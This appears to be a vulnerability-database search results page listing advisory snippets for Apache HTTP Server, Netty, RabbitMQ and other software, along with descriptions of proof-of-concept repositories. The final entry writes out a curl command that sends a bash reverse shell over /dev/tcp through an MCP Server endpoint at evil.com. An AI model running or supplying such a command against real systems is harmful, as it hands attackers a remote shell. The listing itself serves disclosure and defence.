135280 matches found
BIT-APACHE-2026-59685 Apache HTTP Server: Out-of-Bounds Write in ap_directory_walk() Canonical-Name Rewrite on CASE_BLIND_FILESYSTEM
Out-of-bounds Write vulnerability in Apache HTTP Server on Windows while processing paths with 8.3 names that may grow when expanded. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...
BIT-APACHE-2026-58415 Apache HTTP Server: mod_dav_fs property database read access
Internal state files accessible to external parties in moddavfs in Apache Software Foundation Apache HTTP Server before 2.4.69 on all platforms allows a remote client to read WebDAV dead properties of resources it cannot author via a GET request for the .DAV state directory This issue affects...
BIT-APACHE-2026-57941 Apache HTTP Server: mod_http2 use-after-free / wild write via shared session->bbtmp re-entrancy
Use After Free vulnerability in Apache HTTP Server's modhttp2 via shared session-bbtmp re-entrancy This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...
BIT-APACHE-2026-56449 Apache HTTP Server: mod_proxy_html: crash in dump_content
Out-of-bounds Write vulnerability in Apache HTTP Server's modproxyhtml with crafted HTTP response bodies. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...
BIT-APACHE-2026-56154 Apache HTTP Server: mod_rewrite use-after-free via %{LA-U:HTTP:...}
Use After Free vulnerability in Apache HTTP Server's modrewrite when using lookahead %LA-U:HTTP:... This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...
netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression
A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli br, Zstandard zstd, or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an...
netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers
A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...
netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation
A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected...
CVE-2026-8023
CVE-2026-8023 — Zephyr HTTP static-fs 경로 탐색 PoC Zephyr HTTP 서버 static-fs 핸들러subsys/net/lib/http의 사전 인증 경로 탐색으로, 와일드카드 리소스 매칭CONFIGHTTPSERVERRESOURCEWILDCARD=y이 HTTPRESOURCETYPESTATICFS와 함께 사용될 때 발생합니다. HTTP/1.1 및 HTTP/2 모두에 영향을 미칩니다. GHSA: GHSA-hch3-53g6-jj3h 영향받는 버전: = 4.0.0, = 4.4.0, 4.4.2 확인된...
ROOT-APP-NPM-CVE-2022-25881 CVE-2022-25881 in http-cache-semantics - Patched by Root
Root has patched CVE-2022-25881 in the http-cache-semantics package for Root:npm. Multiple fixed versions available...
OPENSUSE-SU-2026:22026-1 Security update for prometheus-blackbox_exporter
This update for prometheus-blackboxexporter fixes the following issues: Changes in prometheus-blackboxexporter: - CVE-2026-84304: Fix heap memory exhaustion OOM via HTTP/2 DATA frame fragmentation in gRPC-Go by bumping it to version 1.83.1 bsc1279126 - CVE-2026-39821: Fix potential validation...
CVE-2021-42013
CVE-2021-42013 — PoC: 패스 트래버설 + modcgi를 통한 RCE 패치 우회 통제된 자체 환경에서만 사용하십시오. 승인되지 않은 시스템에 사용하지 마십시오. 설명 CVE-2021-42013 을 시연하기 위해 개발된 PoC로, Apache HTTP Server 2.4.50 에 존재합니다. 이 CVE는 Apache가 CVE-2021-41773에 대해 발표한 패치의 우회입니다. 2.4.50 버전은 이전의 경로 트래버설을 수정하기 위해 .%2e 및 %2e. 시퀀스를 거부하는 검증을 추가했습니다. 그러나 이 검증은...
http2-bomb-detector
http2-bomb-detector HTTP/2 Bomb CVE-2026-49975 비파괴적 취약점 탐지 도구 — Nginx / Apache httpd용 취약점 배경 CVE-2026-49975은 광범위한 영향을 미치는 HTTP/2 프로토콜 계층의 원격 서비스 거부 취약점으로, 보안 연구원 Quang Luong이 발견했습니다. 이 취약점은 HPACK 헤더 압축 과 흐름 제어 메커니즘 의 결합 설계 결함을 악용하며, 공격자는 인증 없이 10-20초 내에 서버의 32GB 메모리를 고갈시킬 수 있습니다. CVSS 3.1 : 9.8치명...
USN-8869-1 rabbitmq-server vulnerability
It was discovered that RabbitMQ Server incorrectly handled certain HTTP/2 headers. An attacker could possibly use this issue to cause a denial of service via memory exhaustion...
USN-8869-1: RabbitMQ Server vulnerability
It was discovered that RabbitMQ Server incorrectly handled certain HTTP/2 headers. An attacker could possibly use this issue to cause a denial of service via memory exhaustion...
CVE-2021-41773
CVE-2021-41773 — PoC: modcgi 経由の Path Traversal + RCE 管理された自分専用の環境でのみ使用すること。許可なくシステムに対して使用しないこと。 説明 Apache HTTP Server 2.4.49 に存在する脆弱性 CVE-2021-41773 を実証・理解するために開発された PoC です。 この欠陥は apnormalizepath 関数にあり、URL エンコードされた文字を適切に検証していませんでした。これにより、攻撃者はエンコードされた文字列（../ の代わりに %2e%2e%2f）を使うことで DocumentRoot...
CVE-2026-39724
Unauthenticated Cross Site Scripting XSS in HTTP Requests Manager = 1.3.11 versions...
CVE-2021-41773-Apache-Lab
CVE-2021-41773 — Apache HTTP Server 2.4.49 ラボ Apache HTTP Server 2.4.49 のパストラバーサル脆弱性 CVE-2021-41773 の再現。 このプロジェクトは、Docker を使用して隔離された脆弱な環境を作成し、Python の PoC を使用して制御されたファイル開示を実証します。 安全上の注意: この PoC は localhost、127.0.0.1、または ::1 のターゲットのみを受け付けます。テストは隔離されたラボ内でのみ実施してください。 目的 このプロジェクトは以下を実証します: Docker で...
CVE-2026-23744-PoC
CVE-2026-23744-PoC MCP Server의 취약점에 대한 PoC. 올바른 본문으로 POST 부분을 자동화했습니다. 취약한 경로: /api/mcp/connect curl을 통한 방법: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO...
